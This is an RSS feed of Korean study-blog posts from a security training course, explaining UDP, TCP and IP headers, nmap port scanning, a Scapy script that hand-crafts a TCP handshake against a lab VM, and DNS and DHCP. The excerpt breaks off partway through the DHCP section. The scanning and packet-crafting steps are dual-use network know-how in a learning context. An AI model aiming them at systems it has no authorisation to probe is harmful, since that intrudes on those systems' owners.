<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>en_geon.log</title>
        <link>https://velog.io/</link>
        <description>engeon.tistory.com</description>
        <lastBuildDate>Thu, 11 Apr 2024 15:50:41 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <copyright>Copyright (C) 2019. en_geon.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/en_geon" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][시스템 / 네트워크 보안] - UDP, TCP, 3-Way Handshking, Scapy, Wireshark]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-3</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-3</guid>
            <pubDate>Thu, 11 Apr 2024 15:50:41 GMT</pubDate>
            <description><![CDATA[<h1 id="1-udpuser-datagram-protocol-사용자-데이터그램-프로토콜"><strong>1. UDP(User Datagram Protocol, 사용자 데이터그램 프로토콜)</strong></h1>
<blockquote>
<p><strong><a href="https://namu.wiki/w/UDP">UDP 설명</a></strong></p>
</blockquote>
<ul>
<li>인터넷 프로토콜 스위트의 주요 프로토콜 가운데 하나로, 데이터그램으로 알려진 단문 메시지를 교환하기 위해서 사용</li>
<li>연결을 설정하지 않고 수신자가 데이터를 받을 준비를 확인하는 단계를 거치지 않고 단방향으로 정보 전송<ul>
<li>신뢰성 - 수신자가 메시지를 수신했는지 확인할 수 없음</li>
<li>순서 정렬 - 메시지 도착 순서를 예측할 수 없음</li>
<li>부하 - TCP보다 속도가 일반적으로 빠르고 오버헤더가 적음</li>
</ul>
</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/6d72785b-0a87-41aa-8dcb-0601764cc00c/image.png" alt=""></p>
<ul>
<li>8바이트로 고정</li>
<li>출발지 포트, 목적지 포트 : 16비트로 65,536개</li>
<li>길이 : UDP 페이로드와 UDP 헤더를 더한 데이터 그램의 크기</li>
<li>오류검사 : 기본적으로 비활성화</li>
</ul>
<p>중간에 데이터가 유실되거나 손상되어도 크게 중요하지 않은 프로토콜에 많이 사용한다. 게임, 스트리밍 방송에서 사용하는데 이는 데이터가 빠짐없이 전송되는 것보다는 빠른 응답속도가 중요하기 때문이다.</p>
<br>

<h1 id="2-tcptransmission-control-protocol-전송-제어-프로토콜"><strong>2. TCP(Transmission Control Protocol, 전송 제어 프로토콜)</strong></h1>
<blockquote>
<p><strong><a href="https://namu.wiki/w/TCP">TCP 설명</a></strong></p>
</blockquote>
<ul>
<li>일련의 옥텟을 안정적으로, 순서대로, 에러 없이 교환</li>
<li>전송 계층에 위치</li>
<li>네트워크의 정보 전달을 통제하는 프로토콜</li>
<li>연결 지향형 프로토콜</li>
<li>흐름 제어</li>
<li>에러 제어</li>
<li>데이터의 확실한 전송 보장</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/61b8992f-d3de-45d7-a760-b3beb7850e83/image.png" alt=""></p>
<ul>
<li>TCP 헤더의 크기는 가변적<ul>
<li>TCP Options에 따라 달라지고 Offset에서 지정</li>
</ul>
</li>
<li>출발지와 목적지 포트<ul>
<li>16비트로 65.536</li>
</ul>
</li>
<li>일련번호(Sequence Number)<ul>
<li>전송하는 데이터의 순서를 의미</li>
<li>수신 측에서 쪼개진 세그먼트의 순서를 파악해서 재조립할 수 있도록 제공</li>
<li>최초로 데이터를 전송할 때는 랜덤한 수로 초기화</li>
<li>자신이 보낼 데이터의 1바이트당 일련번호를 1식 증가시켜서 데이터의 순서를 표현</li>
</ul>
</li>
<li>확인 또는 승인 번호(Knowledgement Number)<ul>
<li>수신자가 예상하는 다음 일련번호를 의미</li>
<li>데이터를 주고받을 때는 상대방이 보낸 일련번호 + 자신이 받은 데이터의 바이트 수를 확인 번호로 설정</li>
<li>연결 설정과 연결 해제 과정에서는 상대방이 보낸 일련번호 + 1을 확인 번호로 설정</li>
<li>핸드쉐이킹 과정에서는 데이터를 주고받지 않음</li>
</ul>
</li>
<li>오프셋<ul>
<li>전체 세그먼트에서 헤더가 아닌 데이터가 시작되는 위치를 표시</li>
<li>세그먼트 - TCP 헤더 + TCP 페이로드</li>
<li>데이터가 시작되는 위치 - TCP 헤더의 끝 - TCP 헤더의 크기가 가변적이므로 필요</li>
</ul>
</li>
<li>TCP 플래그 : 현재 세그먼트 속성<ul>
<li>CWR(Congestion Window Reduced) - 혼잡 윈도우 크기 감소 신호</li>
<li>ECN(Explicit Congestion Notification) - 혼잡 신호 발생</li>
<li>URG(Urgent) - 긴급 데이터</li>
<li>ACK(Acknowledgement) - 확인 응답 신호</li>
<li>PSH(Push) - 수신 측에 데이터를 최대한 빠르게 응용 프로그램에 전달</li>
<li>RST(Reset) - 연결을 강제로 초기화해달라는 요청</li>
<li>SYN(Synchronize) - 연결을 생성</li>
<li>FIN(Finish) - 연결을 종료</li>
</ul>
</li>
<li>윈도우 크기<ul>
<li>슬라이딩 윈도우(Sliding Window) 크기는 한 번에 전송할 수 있는 데이터의 양(크기)</li>
</ul>
</li>
<li>오류 검사<ul>
<li>데이터 송수신 중에 발생하는 오류를 검출하기 위해 사용</li>
</ul>
</li>
<li>긴급 포인트<ul>
<li>URG 플래그가 설정된 경우, 해당 데이터를 우선 처리</li>
</ul>
</li>
</ul>
<br>

<h2 id="1-정상적인-트래픽-전송-과정"><strong>1) 정상적인 트래픽 전송 과정</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fabdb6ff-2ea0-407a-b0a1-4a942afc8300/image.png" alt=""></p>
<p>최초의 시퀀스 넘버는 랜덤한 수로 초기화한다. 최초의 시퀀스 넘버를 5000, 데이터 크기를 500으로 가정하면 두 번째 데이터의 시퀀스 넘버는 5500이되고, 두 번째 데이터의 크기는 600이면 세 번째 시퀀스 넘버는 6100이 된다.</p>
<p>SN과 Data Size를 전송하면 AN을 돌려주는데 AN은 SN + Data Size이다. </p>
<br>

<h2 id="2-비정상적인-트래픽이-전송되는-과정"><strong>2) 비정상적인 트래픽이 전송되는 과정</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/d855f4af-e64e-43f0-b54a-bde3374e7ff6/image.png" alt=""></p>
<p>SN과 Data Size를 합쳐서 5500을 보냈는데 AN으로 5200이 오면 불일치가 되어 처음 보냈던 트래픽을 다시 보내는데 SN과 Data Size의 합과 AN이 같을 때까지 다시 전송한다.</p>
<br>

<h1 id="3-포트-번호"><strong>3. 포트 번호</strong></h1>
<ul>
<li>16비트(65,536개를 표현하는 것이 가능)로 구성된 가상적 주소</li>
<li>운영체제에서 응용 계층에 속하는 프로토콜을 고유한 식별자 번호로 인식할 때 사용하는 번호</li>
<li>IANA기구에서 관리</li>
<li>잘 알려진 포트 번호(well known port)<ul>
<li>0 ~ 1023</li>
<li>잘 알려진 특정 애플리케이션의 사용을 위해 ICANN에서 할당한 포트</li>
<li>일반적으로 서버에서 사용</li>
<li>C:\Windows\system32\drivers\etc\services에서 확인</li>
<li>ftp - 21/tcp,FTP control</li>
<li>ssh - 22/tcp, SSH Remote Login Protocol</li>
<li>telnet - 23/tcp</li>
<li>smtp - 25/tcp, Simple Mail Transfer Protocol</li>
<li>domain - 53/tcp, Domain Name Server</li>
<li>domain - 53/udp, Domain Name Server</li>
<li>http - 80/tcp, World Wide Web</li>
<li>pop3 - 110/tcp, Post Office Protocol - Version 3</li>
<li>https - 443/tcp, Http over TLS/SSL</li>
</ul>
</li>
<li>등록된 포트 번호(Registered port)<ul>
<li>1024 ~ 49151</li>
<li>특정 용도로 사용되기 위해 등록된 포트 번호</li>
<li>1433 - MSQSQL</li>
<li>3306 - MySQL</li>
<li>8080 - HTTP (개발용도)</li>
</ul>
</li>
<li>사설 또는 동적 포트 번호(Dynamic port)<ul>
<li>49152 ~ 65535</li>
<li>어느 프로그램에서나 사용할 수 있는 포트</li>
</ul>
</li>
</ul>
<br>

<h1 id="4-포트-스캔"><strong>4. 포트 스캔</strong></h1>
<blockquote>
<p><strong>원격지 호스트를 대상으로 어떤 포트를 사용하고 있는지 확인하는 기법</strong></p>
</blockquote>
<ul>
<li>nmap<ul>
<li>오픈소스 기반의 포트 스캐닝 도구</li>
</ul>
</li>
</ul>
<br>

<h2 id="1-kali에서-namp"><strong>1) Kali에서 namp</strong> </h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/661fbc65-1220-4719-b3ba-77cf926c8ffd/image.png" alt=""></p>
<p>80/tcp 포트로 서비스 중인 것을 볼 수 있다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/5e3d6b36-e30d-4f27-8ec1-7c91b11a2723/image.png" alt=""></p>
<p>9999/tcp 포트로 서비스 하지 않는 것을 볼 수 있다.</p>
<p>사용 방법은 &quot;nmap -p 스캔할_포트_번호 호스트&quot;로 사용한다.</p>
<br>

<h1 id="5-tcp-연결-설정3-way-handshaking"><strong>5. TCP 연결 설정(3-way handshaking)</strong></h1>
<p><img src="https://velog.velcdn.com/images/en_geon/post/7f5bd2bb-9bbc-439b-bf6e-b2665b4b7d48/image.png" alt=""></p>
<p>모든 통신의 시작은 클라이언트부터 시작한다. 클라이언트가 TCP 플래그 SYN를 1로 설정해서 보낸다. 클라이언트가 SYN를 보낼 때 seq를 100으로 설정해서 보내면, 서버는 그 포트가 대기 중인 것을 확인하면 SYN-ACK를 보내는데 이때 ack는 클라이언트에서 받은 seq에 + 1 해서 ack를 보낸다. 서버가 보내는 seq는 서버가 클라이언트에게 주는 데이터의 순서를 나타낸다.</p>
<p>수신자 AN는 송신자 SN + Data Size or 1이 되고, 송신자 AN는 수신자 SN + Data Size or 1이 되므로 상호 교차 검증이 된다. 클라이언트가 보낸 것은 서버에서 넘어오는 ack를 이용해서 정상적으로 전송되었다는 것을 판단할 수 있다. 클라이언트가 다음에 보낼 seq와 차이가 나면 중간에 소실 되었다는 것을 알 수 있고, 소실 되었다면 재전송을 한다.</p>
<p>마지막으로 클라이언트는 서버에서 보낸 SYN-ACK를 확인했다는 ACK를 보낸다. 이때 seq는 서버에서 보낸 ack와 같다.</p>
<p>ack는 서버에서 준 seq에 +1 한 값이다. 이 값이 확인되면 서버는 자신이 보낸 SYN-ACK 패킷을 잘 받았다는 것을 확인하는 것이다.</p>
<br>

<h1 id="6-트래픽-흐름제어"><strong>6. 트래픽 흐름제어</strong></h1>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8faa0647-6d42-44bc-b38e-fc5fb30ae87d/image.png" alt=""></p>
<p>이러한 데이터가 있을 때 위에서처럼 한 번씩 주고받으면 비효율적이다. 수신만 하다가 설정해 놓은 버퍼 크기만큼 데이터를 받으면 거기에 대해서 응답을 줄 수 있다. 윈도우 사이즈는 조절할 수 있다.</p>
<p>윈도우 사이즈를 설정해서 처리할 수 있는 만큼 받아들이고, 자원의 상황에 따라 크기가 크다면 줄여서 받을 수 있다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/60cb2bf7-22c1-4215-91e9-9f8fd220a621/image.png" alt=""></p>
<p>데이터를 받는 중에 오류가 발생하면 데이터가 전부 오지 않는다. 이것을 어떻게 알 수 있는가 하면 다음에 나오는 SN가 앞에서 나오는 SN에 내가 받는 데이터의 크기를 더한 값이다. 그런데 오류가 발생한 SN과 수신한 데이터를 더해서 다음 SN을 비교하면 SN이 일치해야 하는데 일치하지 않기 때문에 오류가 발생해서 데이터가 전부 오지 않는 것을 알 수 있다.</p>
<p>그러면 수신에서 다시 SN 5800을 다시 요청하고 수신이 완료되면 AN 7200을 리턴해 다음 데이터를 보내라는 응답을 보낸다.</p>
<br>

<h1 id="7-연결-종료4-way-handshake"><strong>7. 연결 종료(4-way handshake)</strong></h1>
<p><img src="https://velog.velcdn.com/images/en_geon/post/cebd1224-0f5d-49b0-996a-04760793361f/image.png" alt=""></p>
<p>클라이언트가 종료할 때 FIN을 보내고 서버에서 FIN-ACK를 보내는데, ACK를 보낼 때 약간의 텀이 생긴다. 이는 연결 시점에 만들어 놓은 채널을 close 해야 하기 때문이다. 서버 입장에서는 자원이므로 자원을 해제해야 한다. close가 완료되면 서버는 종료 준비 완료가 되었다는 FIN을 보낸다. FIN을 받은 클라이언트는 알았다는 응답을 전달하고 연결을 종료한다.</p>
<br>

<h1 id="8-tcp-동작"><strong>8. TCP 동작</strong></h1>
<ul>
<li>응용 계층에서 페이로드를 생성하고, 전송 전에 3단계 연결 설정을 수행<ul>
<li>응용 계층에서 생성한 페이로드를 응용 계층 버퍼에 임시 보관하고 전송 계층에서 SYN 신호를 담은 세그먼트 한 개를 생성</li>
<li>SYN 세그먼트는 네트워크 계층, 데이터 링크 계층, 물리 계층을 통과 해서 수신지로 전달</li>
<li>수신 측에서는 해당 SYN 신호를 전송 계층까지 끌어올린 후 전송 계층에서 SYN/ACK 신호를 담은 세그먼트를 생성해서 송신지로 전달</li>
<li>송신 측에서는 해당 SYN/ACK 신호를 전송 계층까지 끌어올린 후 전송 계층에서 ACK 신호를 담은 세그먼트를 생성해서 수신지로 전달해서 3단계 설정을 완료</li>
</ul>
</li>
<li>3단계 연결 설정이 완료되면 운영체제는 응용 계층 버퍼에 저장했던 TCP 페이로드를 전송 계층으로 전달</li>
<li>전송 계층은 응용 계층에서 전달된 TCP 페이로드를 대상으로 단편화 수행<ul>
<li>단편화(Fragmentation)<ul>
<li>전송 효율성과 데이터 기밀성을 위해 TCP 페이로드를 여러 개로 분할하는 기법</li>
</ul>
</li>
</ul>
</li>
<li>단편화가 끝나면 조각난 페이로드 앞에 출발지 포트와 목적지 포트 등을 담은 헤더가 붙으면서 여러 개의 세그먼트를 생성하고, 각 세그먼트는 네트워크 계층으로 넘어 가면서 각각의 패킷을 생성</li>
</ul>
<br>

<h1 id="9-ip-헤더"><strong>9. IP 헤더</strong></h1>
<blockquote>
<p><strong>네트워크 계층(L3)에서 각 세그먼트/데이터그램 앞에 IP 주소를 추가한 것</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/dab75071-7632-409d-ba37-ec9775f392f2/image.png" alt=""></p>
<ul>
<li>일반적으로 IP 헤더는 20바이트 크기를 사용</li>
<li>IP Option 항목을 이용해 21바이트 이상으로 사용이 가능</li>
<li>서비스 종류(Type of Service)<ul>
<li>해당 패킷의 전송 우선순위를 지정</li>
<li>회선이 혼잡할 경우 패킷의 전송 우선순위를 부여할 때 사용</li>
</ul>
</li>
<li>전체 길이<ul>
<li>IP 헤더를 포함한 패킷 전체의 길이</li>
</ul>
</li>
<li>Identification, IP Flags, Fragment Offset<ul>
<li>MTU(Ma,imum Transmission Unit : 최대 전송 단위)에 따른 패킷 분할 정보</li>
</ul>
</li>
<li>IP Flags<ul>
<li>패킷 분할 여부 표시</li>
<li>D : Do not fragment</li>
<li>M : More fragment</li>
</ul>
</li>
<li>MTU 1500 바이트인 이더넷 구간을 1400 바이크 크기의 패킷이 통과하는 경우<ul>
<li>패킷 분할 없음</li>
</ul>
</li>
<li>MTU 1500 바이트인 이더넷 구간을 5900 바이트 크이의 패킷이 통과하는 경우<ul>
<li>패킷 분할이 발생</li>
</ul>
</li>
<li>생존 시간<ul>
<li>해당 패킷이 통과할 수 있는 라우터의 개수</li>
</ul>
</li>
<li>프로토콜<ul>
<li>상위 계층에 속한 프로토콜 번호</li>
<li>수신 측에서 해당 패킷의 속성을 파악하는데 사용</li>
</ul>
</li>
<li>헤더 오류 검사<ul>
<li>비활성화 상태</li>
</ul>
</li>
<li>출발지 IP 주소, 목적지 IP 주소<ul>
<li>32비트의 IP 주소</li>
</ul>
</li>
</ul>
<br>

<h1 id="10-scapy-이용한-3-way-handshking"><strong>10. Scapy 이용한 3-Way Handshking</strong></h1>
<ul>
<li><strong><a href="https://scapy.net/">Scapy</a></strong></li>
<li>파이썬으로 제작된 패킷 조작 프로그램</li>
<li>패킷 챕처, 전송, 수정, 디코딩 등의 다양한 기능 제공</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/1a727916-b6a6-48db-8cc9-474900ecb839/image.png" alt=""></p>
<br>

<h2 id="1-ls"><strong>1) ls()</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fc67fc1d-11ba-43d0-9256-217340df4f1f/image.png" alt=""></p>
<ul>
<li>지원하는 프로토콜 전체 목록</li>
</ul>
<br>

<h3 id="1-lstcp"><strong>(1) ls(TCP)</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/63eb7c25-6811-4b08-af08-1ca6165387a7/image.png" alt=""></p>
<ul>
<li>현재 설정된 TCP 헤더 정보 출력</li>
<li>ls(프로토콜 이름)  <ul>
<li>해당하는 이름의 프로토콜 헤더 정보 출력</li>
</ul>
</li>
</ul>
<br>

<h2 id="2-tcp-정보"><strong>2) TCP 정보</strong></h2>
<h3 id="1-tcpdisplay"><strong>(1) TCP().display()</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/e9ebb090-5c34-4713-9696-1e586c82544b/image.png" alt=""></p>
<br>

<h3 id="2-tcpshow"><strong>(2) TCP().show()</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/606f4aad-97f1-46e9-bbe4-3fd74e1486e5/image.png" alt=""></p>
<ul>
<li>위에 했던 내용과 같지만 보여지는 형식이 다름</li>
</ul>
<br>

<h2 id="3-ip-헤더-정보-출력"><strong>3) IP 헤더 정보 출력</strong></h2>
<h3 id="1-ipshow"><strong>(1) IP().show()</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/1bc88532-2fae-4b1e-9884-b4d77828316f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/43fab0d2-6022-4618-a706-b2e1a3fca226/image.png" alt=""></p>
<p>IP().show() 하는 것과 IP에 인스턴스 변수를 만들고 show 하는것은 같다.</p>
<br>

<h2 id="4-현재-ip-헤더의-목적지-주소-변경"><strong>4) 현재 IP 헤더의 목적지 주소 변경</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/626d1ab7-ef04-408a-ab60-53df5b09482c/image.png" alt=""></p>
<ul>
<li>scr = kali.linux 가상머신 IP 주소</li>
<li>dst = bee.box 가상머신 IP 주소</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/3f37677b-487a-4969-a72f-bc6c4d294445/image.png" alt=""></p>
<ul>
<li>생성자에 매매변수의 값을 설정하는 방법으로 초기화</li>
</ul>
<br>

<h2 id="5-스니핑sniffing"><strong>5) 스니핑(sniffing)</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/acda0715-511c-4e08-b91e-a7836825a29c/image.png" alt=""></p>
<ul>
<li>시간이 경과한 후 Ctrl + C</li>
<li>스니핑 결과를 요약 출력</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/842eb645-a876-4f2e-8499-35eff1003e3e/image.png" alt=""></p>
<ul>
<li>S : 연결 유청</li>
<li>SA : 연결 수락</li>
<li>A : 연결 수락 확인</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/96dfd5f4-b78d-4d8c-8ce9-79e26fc1b2e9/image.png" alt=""></p>
<ul>
<li>인덱스 24번의 패킷 상세 조회</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/10ca3046-8e4f-4d5f-aeea-0de2ee4df00b/image.png" alt=""></p>
<ul>
<li>캡처할 패킷의 개수 지정</li>
</ul>
<br>

<h1 id="11-vscode-설치"><strong>11. VSCode 설치</strong></h1>
<pre><code class="language-shell">$ sudo apt-get install wget gpg

$ wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor &gt; packages.microsoft.gpg

$ sudo install -D -o root -g root -m 644 packages.microsoft.gpg /etc/apt/keyrings/packages.microsoft.gpg

$ sudo sh -c &#39;echo &quot;deb [arch=amd64,arm64,armhf signed-by=/etc/apt/keyrings/packages.microsoft.gpg] https://packages.microsoft.com/repos/code stable main&quot; &gt; /etc/apt/sources.list.d/vscode.list&#39;

$ rm -f packages.microsoft.gpg

$ sudo apt install apt-transport-https

$ sudo apt update

$ sudo apt install code</code></pre>
<p>위 명령어를 순서대로 입력해 VSCode 설치한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/2c691cfc-a943-4bc7-892c-ed4919b2ee8c/image.png" alt=""></p>
<br>

<h1 id="12-scapy로-구현"><strong>12. Scapy로 구현</strong></h1>
<blockquote>
<p><strong>kali 가상머신에서 Bee.box 가상머신으로 연결(3-way handshaking) 하는 것을 구현</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/81c992ca-d38a-45e4-a3c4-c8c46ff6ef05/image.png" alt=""></p>
<ul>
<li>sport<ul>
<li>1024 이후의 임의 포트로 설정</li>
</ul>
</li>
<li>flags<ul>
<li>SYN(연결요청)</li>
</ul>
</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/b6d96e25-93f2-4519-9578-45e402ea4e32/image.png" alt=""></p>
<ul>
<li>sprot를 1024부터 65535 중 랜덤으로 설정</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/f884ed80-7528-4558-a516-807055658c87/image.png" alt=""></p>
<ul>
<li>bee.box 가상머신 IP 주소로 변경</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/594a8d77-c960-46b8-941b-0446ad262082/image.png" alt=""></p>
<ul>
<li>TCP 세그먼트에 IP 헤더를 덧붙여 SYN 패킷 생성</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/3edb7099-53e0-4043-a794-450fde82ae5f/image.png" alt=""></p>
<ul>
<li>전송하고 첫 번째 응답이 올 때까지 대기</li>
</ul>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/0f6ab5ec-7a51-4e9f-a019-bcbd7ea2d33b/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/24bb847e-6807-4f7a-aaab-685276eb3750/image.png" alt=""></p>
<br>

<h1 id="13-handshakingpy"><strong>13. handshaking.py</strong></h1>
<blockquote>
<p><strong>kali 가상머신에서 handshaking.py 파일 만들고 실행</strong></p>
</blockquote>
<pre><code class="language-py">from scapy.all import * 

# tcp = TCP()
# tcp.sport = RnadNum(1024, 65535)
# tcp.dport = &quot;80&quot;
# tcp.flags = &quot;S&quot;
tcp = TCP(sport=RandNum(1024, 65535), dport=80, flags=&#39;S&#39;)


# ip = IP()
# ip.src = &quot;192.168.40.129&quot;
# ip.dst = &quot;192.168.40.130&quot;
ip = IP(src=&quot;192.168.40.129&quot;, dst=&quot;192.168.40.130&quot;)

syn = ip / tcp 

syn_ack = sr1(syn)

ack = ip / TCP(sport=syn_ack[TCP].dport, dport=syn_ack[TCP].sport, flags=&quot;A&quot;, seq=syn_ack[TCP].ack, ack=syn_ack[TCP].seq+1)

send(ack)</code></pre>
<br>

<h2 id="1-wireshark-실행한-상태에서-handshakingpy-실행"><strong>1) wireshark 실행한 상태에서 handshaking.py 실행</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/b715cdcc-b3f4-49f4-8bb8-35a5987bed57/image.png" alt=""></p>
<br>

<h2 id="2-rst-패킷이-자동으로-전달되는-이유"><strong>2) RST 패킷이 자동으로 전달되는 이유</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/2de994f9-4dc9-4211-8c5d-d7e6aef930a2/image.png" alt=""></p>
<p>일반적인 프로그램들은 운영체제를 통해서 패킷이 나가는데 스카피는 자기가 그냥 전송하는 것이다. 갑자기 bee.box서버에서 SYN-ACK가 들어오는 것이다. 갑자기 알 수 없&#39;는 SYN-ACK가 들어오니까 kali에서 리셋 시키는 것이다. </p>
<p>그것 때문에 운영체제가 보내는 리셋이 섞여서 나온다. 이런식으로 리셋이 나오면 bee.box 서버에서는 재연결을 시도한다. 그러면 패킷 분석이 어려워지기 때문에 iptables과 갈은 방화벽에 리셋 패킷이 나가는 것을 막는다.</p>
<br>

<h2 id="3-rst-패킷이-나가지-않도록-방화벽에-룰-추가"><strong>3) RST 패킷이 나가지 않도록 방화벽에 룰 추가</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/cca039fd-2d19-4c82-8967-93481875a52e/image.png" alt=""></p>
<p>iptables 리스트를 보면 아무 룰도 적용되어 있지 않다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/5360b1ab-a3b7-43c6-a85c-d159e810467f/image.png" alt=""></p>
<p>위 IP는 kali IP다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/0053c12b-e1b6-4ecd-93cd-c8e80794e93d/image.png" alt=""></p>
<p>wireshark를 실행하고 다시 handshaking.py를 실행하면 RST가 나오지 않는 것을 확인할 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][시스템 / 네트워크 보안] - DHCP, MAC Address, ARP, 패킷 전송, 통신 체계와 통신 규약, 전송 데이터 구성]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-2</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0%EC%8B%9C%EC%8A%A4%ED%85%9C-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-2</guid>
            <pubDate>Sun, 07 Apr 2024 09:31:17 GMT</pubDate>
            <description><![CDATA[<h1 id="1-digdomain-information-groper"><strong>1. dig(Domain Information Groper)</strong></h1>
<h2 id="1-navercom-도메인-정보-조회"><strong>1) naver.com 도메인 정보 조회</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/2022571a-bfcd-4c3d-af50-19778606a3a8/image.png" alt=""></p>
<p>dig 사용법은 &quot;dig 도메인이름 [레코드유형]&quot; 이다.</p>
<p>QUESTION SECTION이 질의 내용인데, <a href="http://www.naver.com">www.naver.com</a> 도메인 이름으로 A 유형의 레코드를 질의한 것이다. </p>
<p>ANSWER SECTION이 질의 결과로 1개의 CNAME과 4개의 A 레코드가 조회된 것이다.</p>
<h2 id="2-blognavercom-soa-조회"><strong>2) blog.naver.com SOA 조회</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/47c6be04-2460-48b8-abaa-20b32675e745/image.png" alt=""></p>
<ul>
<li>gns1.nheos.com.<ul>
<li>Primary Name Server</li>
</ul>
</li>
<li>hostmaster.nheos.com.<ul>
<li>관리자 이메일 주소</li>
<li><a href="mailto:hostmaster@nheos.com">hostmaster@nheos.com</a> 의미</li>
</ul>
</li>
<li>2024040404<ul>
<li>시리얼 번호</li>
</ul>
</li>
<li>10800<ul>
<li> Refresh 값 </li>
<li>3시간 주기로 Secondary DNS가 Zone Transfer 수행</li>
</ul>
</li>
<li>3600<ul>
<li>Retry 값</li>
<li>Secondary DNS가 응답받지 못 하면 1시간 후 재시도</li>
</ul>
</li>
<li>604800<ul>
<li>Expire 값</li>
<li>7일 동안 Secondary DNS가 응답받지 못하면 더 이상 해당 Zone 파일을 Secondary DNS에서 사용하지 않음</li>
</ul>
</li>
<li>180<ul>
<li>SOA 레코드 TTL(Time To Live) 값</li>
<li>DNS Resolver에서 캐시 되는 시간 (180초)</li>
</ul>
</li>
</ul>
<br>

<h1 id="2-dhcpdynamic-host-configuration-protocol-동적-호스트-구성-프로토콜"><strong>2. DHCP(Dynamic Host Configuration Protocol, 동적 호스트 구성 프로토콜)</strong></h1>
<ul>
<li>호스트의 IP 구성 관리를 단순화하는 IP 표준</li>
<li>IP 주소와 관련된 기타 구성 정보(Subnet mask, Gateway IP 주소, DNS 서버 IP 주소 등)를 DHCP 클라이언트에게 동적으로 할당하는 서비스</li>
<li>사용자 이동이 많고 한정된 IP 주소를 가진 경우 유용</li>
<li>서비스 포트<ul>
<li>서버 67(bootps)</li>
<li>클라이언트 38(bootpc)</li>
</ul>
</li>
</ul>
<br>

<h2 id="1-dhcp-동작4단계"><strong>1) DHCP 동작(4단계)</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/f63915ab-d517-4178-b0a9-8eaeecbf61c6/image.png" alt=""></p>
<ul>
<li>Discover<ul>
<li>네트워크상에 DHCP 서버를 찾기 위해서 Broadcast 요청</li>
</ul>
</li>
<li>Offer<ul>
<li>DHCP 서버가 클라이언트에게 어떠한 IP 사용 제안</li>
</ul>
</li>
<li>Request<ul>
<li>클라이언트가 서버로부터 제안받은 정보를 사용하겠다는 요청</li>
</ul>
</li>
<li>Ack<ul>
<li>Request에 대한 요청 수락</li>
</ul>
</li>
</ul>
<br>

<h2 id="2-dhcp-갱신"><strong>2) DHCP 갱신</strong></h2>
<ul>
<li>DHCP 서버로부터 IP를 할당받은 후 임대 시간(Lease Time)의 50%가 지나면 DHCP 갱신 과정을 수행</li>
